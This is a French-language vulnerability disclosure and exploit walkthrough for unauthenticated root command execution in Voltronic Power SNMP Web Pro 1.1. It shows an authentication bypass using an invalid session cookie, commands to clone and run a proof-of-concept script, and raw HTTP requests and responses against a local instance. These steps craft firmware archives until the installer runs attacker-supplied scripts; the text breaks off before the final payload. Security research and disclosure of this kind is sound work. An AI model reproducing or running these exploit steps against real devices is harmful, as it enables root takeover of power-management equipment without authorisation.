
Exécution de commandes à distance avec les privilèges root complets, sans authentification préalable, dans Voltronic Power SNMP Web Pro 1.1
Exécution de commandes à distance totale sans authentification dans Voltronic Power SNMP Web Pro 1.1
SNMP Web Pro 1.1 contient une vulnérabilité d'exécution de code à distance non authentifiée dans le point de terminaison upload.cgi. La fonctionnalité de mise à jour du firmware permet aux utilisateurs de téléverser une archive tar, qui est ensuite extraite et installée sans aucune validation des entrées ni contrôle de sécurité. L'application ne restreint ni n'assainit le contenu de l'archive, de sorte qu'un attaquant peut téléverser une archive contrefaite contenant des scripts CGI malveillants. Avec un peu d'essais et d'erreurs - et beaucoup d'aide des informations que chaque réponse divulgue - il est possible de déterminer le format exact d'archive attendu et d'en créer une malveillante.
De plus, le point de terminaison ne valide pas correctement l'authentification : fournir un cookie de session manipulé ou invalide suffit pour contourner les contrôles d'accès et atteindre la fonctionnalité vulnérable sans identifiants valides, même si le front-end exige clairement une connexion pour l'utiliser.
Une exploitation réussie permet à un attaquant de placer des fichiers exécutables arbitraires dans le répertoire du serveur CGI et d'exécuter des commandes avec les privilèges root.
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py
Tout ce qui suit a été réalisé contre une instance locale (http://localhost:5555). Deux éléments rendent cet exercice trivial dès le départ :
Cookie: -http-session-=NOT_VALID suffit pour chaque requête - le paramètre de requête sid est une valeur aléatoire générée par le JavaScript du front-end et est, lui aussi, ignoré par le serveur.Les étapes ci-dessous suivent cette boucle. Les requêtes sont réduites aux en-têtes minimum dont le serveur a réellement besoin.
La toute première requête nous dit déjà où le serveur s'attend à trouver l'archive du firmware. Notez que params=extract demande au CGI d'extraire une archive, non d'en recevoir une : rien n'a encore été téléversé, le point de terminaison essaie simplement de décompresser ce qu'il s'attend à trouver sur le disque.
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
Réponse :
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124
tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8
upgrade=extract
(NAK
Le corps est une mine d'or. Outre le (NAK (accusé de réception négatif) nous indiquant que l'opération a échoué, la sortie brute du binaire tar est intégrée textuellement dans la réponse : il essaie d'extraire /root/upgrade.tar.gz. Notons également le chemin d'installation cible /root - nous parlons à un processus privilégié.
Deux faits pour le plan d'exploitation :
upgrade.tar.gz et déposé dans /root. Le nom de notre fichier n'a pas d'importance.D'abord, créez une archive tar factice (le téléversement est une requête POST multipart ; sa trace n'est pas intéressante - ce sont les appels GET qui pilotent tout le comportement) :
tar czvf test.tar.gz test.txt
test.txt
Commencez le cycle : téléversez l'archive, puis extrayez-la :
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=extract
(ACK
(ACK - l'extraction s'est déroulée sans aucune plainte. Le cycle (téléversement -> extraction -> installation) est la forme de toute cette exploitation ; à partir d'ici, seule l'étape d'installation change, donc les prochaines traces ne montrent que la ligne de requête et le corps de la réponse (les en-têtes restent identiques à ceux ci-dessus).
upgradeL'extraction fonctionne, place à l'installation. La réponse diffère comme prévu :
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63
upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*
Encore un (ACK, mais les restes d'une commande shell transparaissent : cd: line 1: can't cd to /root/upgrade*. L'installeur exécute un shell arbitraire - il essaie de faire un cd dans un glob qui se développe en un dossier nommé upgrade à l'intérieur de l'archive extraite. Notre innocente archive plate (test.txt à la racine) ne satisfait pas le glob. Correctif simple : réempaqueter avec un répertoire upgrade/ de premier niveau.
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt
Puis répétez les deux premières étapes du cycle : téléversez à nouveau, extrayez à nouveau.
install.shMême appel d'installation, et la fuite est encore plus intéressante :
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65
upgrade=install
(ACKchmod: install.sh: No such file or directory